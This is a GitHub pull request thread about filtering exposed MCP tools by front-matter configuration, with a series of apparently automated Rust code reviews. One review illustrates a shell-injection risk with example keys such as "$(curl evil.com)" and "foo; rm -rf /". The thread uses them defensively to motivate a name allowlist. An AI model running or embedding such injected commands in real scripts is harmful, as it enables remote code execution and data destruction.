feat(mcp): filter SafeOutputs tools based on front matter config

[jamesadevine]

Summary

Only expose safe output tools that are configured in the front matter's safe-outputs: section. This reduces agent confusion by hiding tools that aren't configured for the current pipeline.

Problem

All 17+ safe output tools are always exposed to the agent via MCPG, regardless of what's configured in safe-outputs: front matter. MCPG has a tools field in its config schema but does not enforce it at runtime. This means agents see tools they aren't configured to use, wasting context window and potentially causing confusion.

Approach

Filter at the SafeOutputs server level using ToolRouter::remove_route() — self-contained, no MCPG changes needed.

Changes

• src/main.rs — Add --enabled-tools repeatable CLI arg to mcp and mcp-http commands
• src/mcp.rs — SafeOutputs::new() accepts optional enabled tools list; removes unconfigured tools from the router at startup
• src/compile/common.rs — generate_enabled_tools_args() derives tool list from safe-outputs: keys + always-on diagnostics
• src/compile/standalone.rs — Wires the generated args into the pipeline template
• templates/base.yml — {{ enabled_tools_args }} placeholder in mcp-http invocation

Always-on tools (never filtered)

• noop, missing-data, missing-tool, report-incomplete

Backward compatibility

If --enabled-tools is not passed (empty/omitted safe-outputs:), all tools remain available.

Testing

• 7 new tests covering: no filter = all tools, specific filter, always-on never removed, multiple tools, compiler arg generation, no duplicates
• All 647 tests pass

[github-actions]

🔍 Rust PR Review

Summary: Good approach overall — the design is clean and the test coverage is solid. One genuine security concern to address, plus two minor notes.

Findings

🔒 Security Concerns

• src/compile/common.rs:704 — Unquoted tool names injected into bash

  generate_enabled_tools_args takes safe_outputs.keys() verbatim and formats them as --enabled-tools <name> in a space-separated string. This string lands unquoted in a bash line in base.yml (line 219):

  nohup /tmp/awf-tools/ado-aw mcp-http \
    --api-key "$SAFE_OUTPUTS_API_KEY" \
    {{ enabled_tools_args }}\       # ← raw substitution
    "/tmp/awf-tools/staging" \

  YAML keys are arbitrary strings, so a front matter key like "$(curl evil.com)" or "foo; rm -rf /" would be injected verbatim into the shell command. The pipeline author controls the YAML, but this is still bad hygiene and could catch someone off guard (typo, copy-paste, etc.).

  Fix: validate tool names against a known allowlist (you already have WRITE_REQUIRING_SAFE_OUTPUTS and can build one from registered routes), or at minimum gate on a safe regex before embedding:

  fn is_safe_tool_name(name: &str) -> bool {
      name.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
  }

⚠️ Suggestions

• templates/base.yml:219 — Dangling \ when enabled_tools_args is empty

  When no safe-outputs are configured, {{ enabled_tools_args }} is replaced with "", leaving:

              \          # ← line with nothing but whitespace + backslash
              "/tmp/awf-tools/staging" \

  This is syntactically valid bash (empty continuation), but it's an odd artifact. Consider trailing the marker with a space+backslash only when non-empty, or restructuring the template to avoid the dangling line.

• src/mcp.rs:1313 — test_tool_filtering_multiple_tools uses fragile exact-count assertion

  let expected_count = enabled.len() + ALWAYS_ON_TOOLS.len();
  assert_eq!(tool_names.len(), expected_count, ...);

  This silently breaks if any enabled tool also appears in ALWAYS_ON_TOOLS. Prefer asserting presence/absence of specific tools directly (as done in test_tool_filtering_specific_tools) rather than relying on an exact count.

✅ What Looks Good

• Filtering at the SafeOutputs level (not MCPG) is the right call — no external changes needed and it's well-contained.
• ALWAYS_ON_TOOLS constant is pub so the compiler can reference it from common.rs, keeping the filter list a single source of truth.
• Backward-compat behaviour (empty safe_outputs → pass None → no filtering) is correct and well-tested.
• The run_http template-sharing approach (create once, clone per request) is preserved correctly.

Generated by Rust PR Reviewer for issue #156 · ● 373.6K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Needs a fix — the template has a shell-breaking separator bug that will cause the mcp-http command to fail whenever safe-outputs: is configured.

Findings

🐛 Bugs / Logic Issues

• templates/base.yml:219 — Missing space between {{ enabled_tools_args }} and the positional argument:

  # Generated when safe-outputs has any entries, e.g. with create-pull-request + noop:
  nohup /tmp/awf-tools/ado-aw mcp-http \
    --port "$SAFE_OUTPUTS_PORT" \
    --api-key "$SAFE_OUTPUTS_API_KEY" \
    --enabled-tools create-pull-request --enabled-tools noop"/tmp/awf-tools/staging" \
  #                                                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  #              last tool value is concatenated with the path — no space!

  noop"/tmp/awf-tools/staging" is passed as the value of the last --enabled-tools flag instead of the positional output_directory argument. The command fails to start, silently breaking tool filtering for every pipeline that configures safe-outputs:.

  Fix — add a trailing space in generate_enabled_tools_args when the result is non-empty:

  // in common.rs, end of generate_enabled_tools_args
  let args = tools
      .iter()
      .map(|t| format!("--enabled-tools {}", t))
      .collect::<Vec<_>>()
      .join(" ");
  if args.is_empty() { args } else { args + " " }

  Or, equivalently, change the template to {{ enabled_tools_args }} "/tmp/awf-tools/staging" — the extra leading space when the marker is empty is harmless in bash.

  Note: this bug would have been caught by an integration test that compiles a fixture with safe-outputs: and runs the generated mcp-http command (or even just checks the generated YAML contains --enabled-tools noop "/tmp/).

⚠️ Suggestions

• src/mcp.rs:152-175 — list_all() is called twice (once to collect names, once to log remaining). The second call is fine for logging, but a single collect + filter pass would be marginally cleaner.
• src/compile/common.rs:688 — The use crate::mcp::ALWAYS_ON_TOOLS import inside a function body works, but since generate_enabled_tools_args and ALWAYS_ON_TOOLS are both compile-time constants, a top-level import or moving ALWAYS_ON_TOOLS to common.rs would avoid the implicit compile→mcp coupling. Minor architectural note, not a blocker.

✅ What Looks Good

• The is_safe_tool_name guard + sorting for deterministic output is a clean approach to shell-injection prevention and stable diffs.
• ALWAYS_ON_TOOLS as a single source of truth shared between the compiler and the runtime is the right design.
• Empty safe-outputs: → no args → all tools available is the correct backward-compatible default, and the logic for it is clear.
• The 7 new unit tests have good coverage of edge cases (dedup, always-on, unsafe name skipping).

Generated by Rust PR Reviewer for issue #156 · ● 284.4K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Mostly solid — the core design, security model, and backward compatibility are all well-handled. One correctness concern worth addressing before merge.

---

Findings

🐛 Bugs / Logic Issues

• src/compile/common.rs — Silent tool filtering on typo / unknown key

  If a user misspells a safe-output key in their front matter (e.g., crate-pull-request instead of create-pull-request), the correctly-named tool is silently removed at runtime while the misspelled name passes is_safe_tool_name validation and gets forwarded as --enabled-tools crate-pull-request. The agent then receives a "tool not found" error when it calls create-pull-request with no compile-time warning.

  The WRITE_REQUIRING_SAFE_OUTPUTS slice already enumerates all known tool names — validating safe_outputs.keys() against that union ALWAYS_ON_TOOLS at compile time (a simple eprintln! warning follows the established pattern) would catch this:

  const ALL_KNOWN_TOOLS: &[&str] = &[/* WRITE_REQUIRING_SAFE_OUTPUTS */ ..., /* ALWAYS_ON */ ...];
  for key in front_matter.safe_outputs.keys() {
      if !ALL_KNOWN_TOOLS.contains(&key.as_str()) {
          eprintln!("Warning: unrecognized safe-output tool '{}' — will be ignored at runtime", key);
      }
  }

  This is a behavioural regression compared to the pre-PR world, where an unknown safe-output key was merely ignored rather than causing a real tool to disappear.

⚠️ Suggestions

• src/compile/common.rs:test_generate_enabled_tools_args_skips_unsafe_names — Misleading test name/body

  The test comment explicitly says "We can't easily inject unsafe names through parse_markdown... so we test the validation function directly", but then doesn't — it just repeats the happy path from test_generate_enabled_tools_args_with_configured_tools. The actual unsafe-name guard is only covered by test_is_safe_tool_name. Either rename this to test_generate_enabled_tools_args_with_valid_tool or use a directly-constructed FrontMatter with an unsafe key to exercise the eprintln! warning path.

• src/compile/common.rs:710-720 — O(n2) deduplication

  for tool in ALWAYS_ON_TOOLS {
      let name = tool.to_string();
      if !tools.contains(&name) {   // linear scan per always-on tool
          tools.push(name);
      }
  }

  ALWAYS_ON_TOOLS has four entries so this is harmless today, but a HashSet<String> built from tools before this loop is cleaner and future-proof. Not blocking.

• {{ enabled_tools_args }} template marker is undocumented

  Every other template marker is documented in the copilot instructions (AGENTS.md / custom instructions). Adding a short entry for {{ enabled_tools_args }} would be consistent and helpful for future contributors.

✅ What Looks Good

• is_safe_tool_name is the right gate — alphanumeric + hyphen-only names guarantee the expanded --enabled-tools <name> tokens can't introduce shell injection into the generated bash script.
• The enabled_tools → filter.as_deref() idiom in main.rs correctly converts Vec<String> to Option<&[String]> without any cloning.
• Backward compatibility (empty safe-outputs: → all tools available) is correctly handled and tested.
• Collecting all_tools into a Vec before the mutating remove_route loop avoids borrow/mutation issues cleanly.
• The trailing-space trick in generate_enabled_tools_args is the right solution for the inline template expansion and is well-commented.

Generated by Rust PR Reviewer for issue #156 · ● 691.7K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Approach is solid and the implementation is clean — one correctness bug with misleading behaviour, a maintenance concern, and a missing integration test.

---

Findings

🐛 Bugs / Logic Issues

• src/compile/common.rs — misleading warning + incorrect runtime behaviour for typo'd tool names

  In generate_enabled_tools_args, when an unrecognised tool name is encountered the warning says:

  "Warning: unrecognized safe-output tool '{}' — will be ignored at runtime"

  But the name is still appended to the --enabled-tools arg list immediately after the warning. When the server receives this list it iterates over registered tools and removes any that aren't in enabled. A typo like crate-pull-request in the enabled list doesn't prevent create-pull-request from being removed — it's absent from enabled, so it gets filtered out just as if it had never been configured. The warning says "ignored" but the effect is that the real tool is silently unavailable.

  The test test_generate_enabled_tools_args_warns_on_unknown_tool documents this behaviour as intentional without noting the downstream consequence.

  Two reasonable fixes:

  1. Skip unknown names (don't append them to the list), so the warning and the behaviour agree.
  2. Keep them but change the warning to: "unrecognized safe-output tool '{}' — real tools of this name will not be exposed to the agent".

  Option 1 is safer and simpler. The unknown name contributes nothing useful — there is no registered tool to "keep enabled" for it.

⚠️ Suggestions

• src/tools/mod.rs — ALL_KNOWN_SAFE_OUTPUTS is a hand-maintained list that can drift

  This list is used purely to suppress false-positive warnings. If a new tool is registered in the router but not added here, every compile of a pipeline that uses it will emit a spurious warning. Consider deriving this from the tool router itself at startup (call tool_router.list_all() once and build a HashSet of registered names), which would make the check self-maintaining. The compile-time generate_enabled_tools_args function can't do this since it runs without the server, but the server-side filter in mcp.rs already has the ground-truth list. Alternatively, make ALL_KNOWN_SAFE_OUTPUTS a const set that is asserted against the router in a test.

• templates/base.yml line 219 — fragile inline substitution

  {{ enabled_tools_args }}"/tmp/awf-tools/staging" \

  The empty-string / trailing-space duality is clever but the intent is non-obvious to anyone reading the template. A comment or a more conventional two-line form (conditional substitution on its own line, path on the next) would make this easier to audit. A stray newline in enabled_tools_args would also silently corrupt the shell command — worth a note in the replacement code that the value must be newline-free (it currently is, but is_safe_tool_name doesn't explicitly reject \n).

• Missing integration/fixture test for the compiled output

  The unit tests exercise generate_enabled_tools_args and the runtime filter independently, but there is no integration test (e.g. in tests/compiler_tests.rs with a fixture in tests/fixtures/) that compiles a markdown file with safe-outputs: configured and asserts the rendered YAML contains the expected --enabled-tools flags. This is the only path that exercises standalone.rs wiring + generate_enabled_tools_args + template substitution end-to-end.

✅ What Looks Good

• Filtering is done server-side via ToolRouter::remove_route() — self-contained and requires no MCPG changes; a clean separation of concerns.
• is_safe_tool_name is a tight, correct guard against shell injection; the character set (ASCII alphanumerics + hyphen) matches all real tool names and nothing more.
• ALWAYS_ON_TOOLS is checked both at the compile-time arg generator and at the runtime filter independently, so always-on tools can never be silently excluded.
• The as_deref() conversion of Option<Vec<String>> → Option<&[String]> in main.rs is idiomatic and correct.
• Backward compatibility (empty safe-outputs: → all tools exposed) is well-tested and documented.

Generated by Rust PR Reviewer for issue #156 · ● 495.4K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Mostly solid implementation with one real bug and one subtle footgun worth addressing before merge.

Findings

🐛 Bugs / Logic Issues

• src/compile/common.rs – generate_enabled_tools_args: The memory safe-output key is a non-MCP, executor-only feature, but it passes both is_safe_tool_name and the ALL_KNOWN_SAFE_OUTPUTS check, so it gets included in --enabled-tools memory. At runtime, memory has no registered MCP route, so the filter loop removes every non-always-on router tool. A pipeline with only safe-outputs: {memory: ...} would end up exposing only the 4 diagnostic tools to the agent — no create-pr, no create-work-item, nothing. The fix is to exclude non-MCP keys from the tool-list generation, e.g. by keeping a separate constant for keys that are executor-side only:

  const NON_MCP_SAFE_OUTPUT_KEYS: &[&str] = &["memory"];
  // skip in the loop:
  if NON_MCP_SAFE_OUTPUT_KEYS.contains(&key.as_str()) { continue; }

• src/compile/common.rs:738 – dead branch: After the ALWAYS_ON_TOOLS loop, tools always contains at least 4 entries, so args can never be empty at the trailing-space check. The if args.is_empty() { args } branch is unreachable. Minor, but slightly misleading — worth simplifying to just args + " ".

⚠️ Suggestions

• src/compile/common.rs – silent "all-typo" footgun: If every key in safe-outputs: passes is_safe_tool_name but fails ALL_KNOWN_SAFE_OUTPUTS, the function still generates filtering args (only the 4 diagnostics survive). The eprintln! warning is easy to miss in CI logs. Consider surfacing this as a hard compile error (or at minimum a more prominent warning that states "agent will be restricted to diagnostic tools only") to help catch typos like crate-pull-request before they reach production.

• tests/compiler_tests.rs – The integration test writes to std::env::temp_dir() with a PID-based suffix but doesn't remove_dir_all on failure (the cleanup is only at the end of a successful path). The other tests in this file use the same pattern, so this is consistent — just noting it matches the existing convention.

• src/mcp.rs:153/163 – The two .iter().map(|t| t.name.to_string()).collect::<Vec<String>>() calls could each be a one-liner with .map(|t| t.name.to_string()). Purely cosmetic; ignore if style isn't a concern here.

✅ What Looks Good

• The is_safe_tool_name guard (ASCII alphanumerics + hyphens only) is exactly the right level of strictness for values embedded inline in a shell command — well-motivated and well-tested.
• ALWAYS_ON_TOOLS protection in the runtime filter (mcp.rs) is implemented correctly and independently of the compile-time logic, giving defense-in-depth.
• test_all_known_safe_outputs_covers_router is a great regression guard to prevent the constant from lagging behind new router registrations.
• Backward compatibility (empty safe-outputs: → no filtering → all tools) is preserved and tested.
• The HashSet-based dedup in generate_enabled_tools_args correctly handles the case where a user puts an always-on tool in safe-outputs: explicitly.

Generated by Rust PR Reviewer for issue #156 · ● 719.2K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Good approach with one meaningful bug — the memory-only edge case silently restricts the MCP server to only 4 diagnostic tools instead of leaving all tools available.

---

Findings

🐛 Bugs / Logic Issues

src/compile/common.rs:733–763 — memory-only safe-outputs breaks backward compat

When safe-outputs: contains only non-MCP keys (e.g. just memory), the function does not hit the early-return at line 697 (because safe_outputs is non-empty), skips memory as a NON_MCP_SAFE_OUTPUT_KEYS entry, leaves user_tool_count == 0, emits a warning, then falls through to add ALWAYS_ON_TOOLS and returns a non-empty filter string. Result: the MCP server exposes only 4 diagnostic tools instead of all tools.

This is a silent behavioral regression for any pipeline that has safe-outputs: memory without other MCP tool entries.

The test test_generate_enabled_tools_args_memory_only_does_not_filter actually validates the wrong behavior — its own comment says "no MCP tool args should be generated (backward compat: all tools available)" but the assertions then assert --enabled-tools noop is present, accepting the restricted behavior.

The fix is a one-liner after the loop:

if user_tool_count == 0 {
    // No real MCP tools configured; keep all tools available (backward compat)
    return String::new();
}

The warning already runs before this return, so users with only memory will still see the diagnostic message.

---

⚠️ Suggestions

templates/base.yml:216 — positional/option interleaving is load-bearing but not tested

{{ enabled_tools_args }}"/tmp/awf-tools/staging" \

When enabled_tools_args is non-empty, the --enabled-tools flags end up between the named options (--port, --api-key) and the positional args. Clap handles mixed positionals/options correctly by default, but if allow_hyphen_values or trailing-var-arg mode were ever added to McpHttp, this ordering would silently pass values as option arguments. The integration test covers the output YAML but doesn't execute the binary with --enabled-tools, so this path has no runtime test. Low risk for now, but worth documenting with an inline comment that positionals must come last.

src/mcp.rs:152–164 — server-level filtering has no unknown-name warning

The compile-time function warns on unrecognized names; the server-level filtering silently ignores names in the enabled list that don't match any registered route. If someone passes --enabled-tools typo-tool directly, they'll get only 4 tools with no error. A debug! log like "Enabled-tools entry '{}' has no matching route (ignored)" would make debugging easier.

---

✅ What Looks Good

• is_safe_tool_name is tight and correctly justified — only [a-zA-Z0-9-] reach the shell.
• The test_all_known_safe_outputs_covers_router test is an excellent drift-prevention safeguard that will catch any future tool added to the router but forgotten in ALL_KNOWN_SAFE_OUTPUTS.
• Trailing-space design for {{ enabled_tools_args }} is clearly explained and safe given the name validation.
• The HashSet-based deduplication correctly handles noop appearing in both user keys and ALWAYS_ON_TOOLS without changing the count logic.
• HTTP and stdio paths are kept consistent — both get the enabled_tools parameter.

Generated by Rust PR Reviewer for issue #156 · ● 1M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Looks good — solid design and well-tested. A few minor observations worth considering before merge.

---

Findings

⚠️ Suggestions

src/compile/common.rs:706 — HashSet deduplication is dead code

let mut seen = HashSet::new();
// ...
if seen.insert(key.clone()) {
    tools.push(key.clone());
}

front_matter.safe_outputs is a HashMap, so keys() is already guaranteed unique. The HashSet<String> seen can never observe a duplicate and the if guard is always true. The HashSet is only useful defensively if the input type ever changes. Fine to keep as-is, but the comment // args is never empty here because ALWAYS_ON_TOOLS always contributes entries. on line 113 is more useful than the dead dedup.

---

src/tools/mod.rs — No enforcement that WRITE_REQUIRING_SAFE_OUTPUTS ⊆ ALL_KNOWN_SAFE_OUTPUTS

Both lists are maintained manually and currently consistent. But if a new write-requiring safe output tool is added to WRITE_REQUIRING_SAFE_OUTPUTS but forgotten in ALL_KNOWN_SAFE_OUTPUTS, the result is silent misbehavior: write permission validation would pass, but generate_enabled_tools_args would emit "unrecognized tool" warning and exclude it from --enabled-tools, meaning agents using that tool would see it filtered out even when explicitly configured.

The existing test_all_known_safe_outputs_covers_router test (which is great!) covers the router → ALL_KNOWN direction. A complementary compile-time assertion would close the gap:

// In a test module, or as a static assertion:
const _: () = {
    let mut i = 0;
    while i < WRITE_REQUIRING_SAFE_OUTPUTS.len() {
        let name = WRITE_REQUIRING_SAFE_OUTPUTS[i];
        // (static check that name is in ALL_KNOWN_SAFE_OUTPUTS)
        i += 1;
    }
};

Or simply a unit test that iterates WRITE_REQUIRING_SAFE_OUTPUTS and asserts membership in ALL_KNOWN_SAFE_OUTPUTS.

---

templates/base.yml:223 / src/compile/onees.rs — 1ES target silently ignores safe-outputs: filtering

The 1ES compiler doesn't call generate_enabled_tools_args and 1es-base.yml has no {{ enabled_tools_args }} marker. Since 1ES uses service connections rather than mcp-http, this is architecturally correct today — but if a user compiles target: 1es with safe-outputs: configured, the filtering silently doesn't apply with no warning. Worth a brief note in the AGENTS.md 1ES section or a // TODO: comment in onees.rs to set expectations.

---

✅ What Looks Good

• Shell injection prevention: is_safe_tool_name is the right place for this validation — rejecting at compile time before the value ever reaches the generated bash script. The allowlist (alphanumeric + hyphen only) is appropriately conservative.
• args + " " trailing space design: Clean solution to the positional arg concatenation problem. Well-commented in both the Rust code and the YAML template.
• test_all_known_safe_outputs_covers_router: Excellent drift-prevention test — creates a real router instance and checks every registered tool name against ALL_KNOWN_SAFE_OUTPUTS. This is the right kind of integration test.
• Backward compatibility: The empty safe-outputs: → no --enabled-tools → all tools available path is correctly preserved and well-tested.
• Always-on tools guarantee: Filtering logic in mcp.rs correctly preserves ALWAYS_ON_TOOLS regardless of what's in the enabled list, and the test test_tool_filtering_always_on_never_removed covers the adversarial case (only nonexistent tool in enabled list).

Generated by Rust PR Reviewer for issue #156 · ● 979.2K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Looks good — well-designed feature with thorough tests. One doc-comment bug worth fixing before merge.

Findings

🐛 Bugs / Logic Issues

• src/tools/result.rs (doc comment for all_safe_output_names!): The macro's doc comment example shows two semicolons (separating write types, diagnostic types, and string extras), but the macro pattern only accepts one semicolon:

  // Doc comment shows this (TWO semicolons — won't compile):
  all_safe_output_names![
      WriteToolA, WriteToolB;   // write-requiring types
      DiagToolA, DiagToolB;     // diagnostic types
      "memory"
  ]
  
  // Actual macro signature (ONE semicolon):
  ($($ty:ty),* $(,)?; $($extra:expr),* $(,)?) => { ... }

  Anyone copying from the doc would get a macro match failure. The actual usage in mod.rs is correct (all types before ;, string literals after), so this is purely a doc bug. Worth fixing to avoid confusion.

⚠️ Suggestions

• tests/compiler_tests.rs: The integration test uses inline markdown rather than a fixture file in tests/fixtures/. The existing pattern in this file (based on surrounding tests) uses fixture files. Minor convention deviation — the inline approach is fine functionally, but a fixture file at tests/fixtures/tools-agent.md would be consistent with the rest of the test suite.

• src/compile/common.rs (generate_enabled_tools_args): The user_tool_count counter increments only for recognized, valid, non-MCP keys, then bails early if it's zero. The intent (return empty = all tools available when every key was unrecognized) is correct and the logic is sound, but the variable name user_tool_count is slightly misleading — it's counting "effective MCP tool keys", not simply "user-specified keys". A rename to effective_mcp_tool_count would aid readability.

✅ What Looks Good

• Security: is_safe_tool_name whitelist (ASCII alphanumeric + hyphen only) is the right approach for values embedded inline in a shell command. The replace_with_indent function's behaviour with single-line replacements was verified — correct for both empty and non-empty enabled_tools_args.
• Compile-time derivation: Moving from hand-maintained const WRITE_REQUIRING_SAFE_OUTPUTS: &[&str] string literals to tool_names![CreateWorkItemResult, ...] macro derivation is a real maintenance win. Adding write = true to a tool_result! invocation is now the single source of truth.
• HTTP server cloning pattern: Filtering is applied once at SafeOutputs::new() construction, and each HTTP request gets a clone of the pre-filtered router. This is the correct approach for the StreamableHttpService factory closure.
• test_all_known_safe_outputs_covers_router: The round-trip test that reads live router tool names and asserts they're all in ALL_KNOWN_SAFE_OUTPUTS is particularly valuable — it's a compile-time guard against the known-names list drifting from the actual registered routes.
• Backward compatibility: The user_tool_count == 0 early-return (all tools stay available when safe-outputs: is empty or fully unrecognized) is the right default for existing pipelines.
• Deterministic output: Sorting tools before joining ensures the generated --enabled-tools args are stable across recompilations.

Generated by Rust PR Reviewer for issue #156 · ● 782.1K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Looks good — solid approach, well-tested, safe. Two minor issues worth addressing before merge.

Findings

⚠️ Suggestions

• src/mcp.rs:167 — The warning for unrecognized --enabled-tools entries at runtime uses debug! level:

  debug!("Enabled-tools entry '{}' has no matching route (ignored)", name);

  If a pipeline operator passes a typo'd tool name (e.g. crate-pull-request vs create-pull-request), this silently has no effect and the typo would be invisible in production logs where debug logging is disabled. This should be warn! to match the compile-time warning that generate_enabled_tools_args() emits for the same scenario. The filtering still works correctly — this is purely about operator observability.

• src/tools/mod.rs:364 — test_all_known_completeness checks len() equality which implicitly assumes the three lists (WRITE_REQUIRING, ALWAYS_ON, NON_MCP) are disjoint:

  let expected = WRITE_REQUIRING_SAFE_OUTPUTS.len() + ALWAYS_ON_TOOLS.len() + NON_MCP_SAFE_OUTPUT_KEYS.len();
  assert_eq!(ALL_KNOWN_SAFE_OUTPUTS.len(), expected, ...);

  If a tool is ever added to two lists (e.g. a diagnostic that also requires write), the all_safe_output_names! macro would deduplicate it, the count would drop, and the test would fail with a confusing count mismatch rather than a clear "tool X appears in multiple lists" message. Adding explicit assert!(!WRITE_REQUIRING_SAFE_OUTPUTS.iter().any(|n| ALWAYS_ON_TOOLS.contains(n)), ...) assertions would make this intent explicit and the failure message actionable.

✅ What Looks Good

• Shell injection prevention is correct: is_safe_tool_name() gates all user-supplied keys to [a-zA-Z0-9-]+ before embedding them in the bash script. The trailing-space design for the template placeholder is sound and clearly documented.
• Backward compatibility is correctly preserved: The early return on empty safe_outputs ensures the behavior is unchanged for all existing pipelines.
• Compile-time type derivation via tool_names! / all_safe_output_names!: Replacing the hand-maintained WRITE_REQUIRING_SAFE_OUTPUTS string array with a macro that extracts ToolResult::NAME at compile time is a significant improvement — adding a new tool now requires only one change instead of updating a string list.
• ALWAYS_ON protection is correctly layered: The is_always_on check inside the router loop prevents diagnostic tools from being filtered even if they're absent from the enabled list, including the edge case in test_tool_filtering_always_on_never_removed where the only enabled tool doesn't exist.
• filter.as_deref() pattern: Option<Vec<String>> → Option<&[String]> via .as_deref() is idiomatic and correct.
• Test coverage: The test_all_known_safe_outputs_covers_router test that checks the live router against ALL_KNOWN_SAFE_OUTPUTS is an excellent regression guard — it will catch any newly registered tool that wasn't added to the constant.

Generated by Rust PR Reviewer for issue #156 · ● 1.3M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Looks good — well-structured feature with strong tests; one minor logic quirk worth noting for future maintainers.

Findings

✅ What Looks Good

• Compile-time tool lists via macros (tool_names!, all_safe_output_names!): Eliminating hand-maintained &[&str] arrays in favour of type-derived constants is excellent. Drift between tool structs and the validation lists is now a compile error, not a runtime surprise.

• is_safe_tool_name() shell injection guard: Restricting tool names to [a-zA-Z0-9-] before embedding them in the generated bash: step is the right approach. The inline comment in base.yml documenting the trailing-space contract is a nice touch.

• Backward-compatibility path: Returning String::new() whenever safe_outputs is empty, or when every configured key is non-MCP / unrecognised, preserves the existing "all tools available" semantics without any flag changes required by callers.

• test_all_known_safe_outputs_covers_router (in mcp.rs): This is an excellent regression guard. It will catch the common mistake of adding a new tool to the router without updating ALL_KNOWN_SAFE_OUTPUTS.

• HTTP server filtering via clone: Pre-initialising a filtered SafeOutputs and cloning it per connection is correct — the filter is baked into the ToolRouter at startup, so clones are already filtered.

⚠️ Suggestions

• src/compile/common.rs — seen insert in first loop is redundant (generate_enabled_tools_args, ~line 103):

  effective_mcp_tool_count += 1;
  if seen.insert(key.clone()) {   // ← HashMap keys are unique; always true here
      tools.push(key.clone());
  }

  front_matter.safe_outputs is a HashMap, so its keys are guaranteed unique — seen.insert() will always succeed in this first loop. The seen set is only meaningful in the second loop that adds ALWAYS_ON_TOOLS (to avoid duplicating a diagnostic tool the user also configured explicitly). The code is not incorrect, but the comment above it says "seen deduplicates across user keys and ALWAYS_ON_TOOLS" which slightly overstates what the first loop contributes. A future maintainer could be confused. Minor nit: simplify the first loop body to just tools.push(key.clone()) and move the dedup concern entirely to the ALWAYS_ON_TOOLS loop where it actually matters.

• src/mcp.rs — no runtime validation of --enabled-tools values: Values from the CLI flag bypass is_safe_tool_name(). They're only compared as strings to registered tool names and never eval'd, so there's no actual security risk — but if someone passes a malformed name, the only feedback is a warn! log that the entry "has no matching route". Adding a quick if !enabled.iter().all(|t| is_safe_tool_name(t)) check at the start of the filtering block (with an early error) would make the CLI self-documenting about valid inputs. Optional for an internal tool, but worth considering if mcp-http is ever exposed more broadly.

• src/compile/onees.rs — 1ES limitation is only a comment: The comment correctly documents that generate_enabled_tools_args is skipped for 1es target. If the 1ES template ever inadvertently gets a {{ enabled_tools_args }} marker added, it will silently survive in the output (the standalone replace_with_indent would not run it). Consider adding an assertion or a debug_assert! that verifies the 1ES template output contains no unreplaced {{ markers — this is a general robustness improvement, not specific to this PR.

Generated by Rust PR Reviewer for issue #156 · ● 2.1M · ◷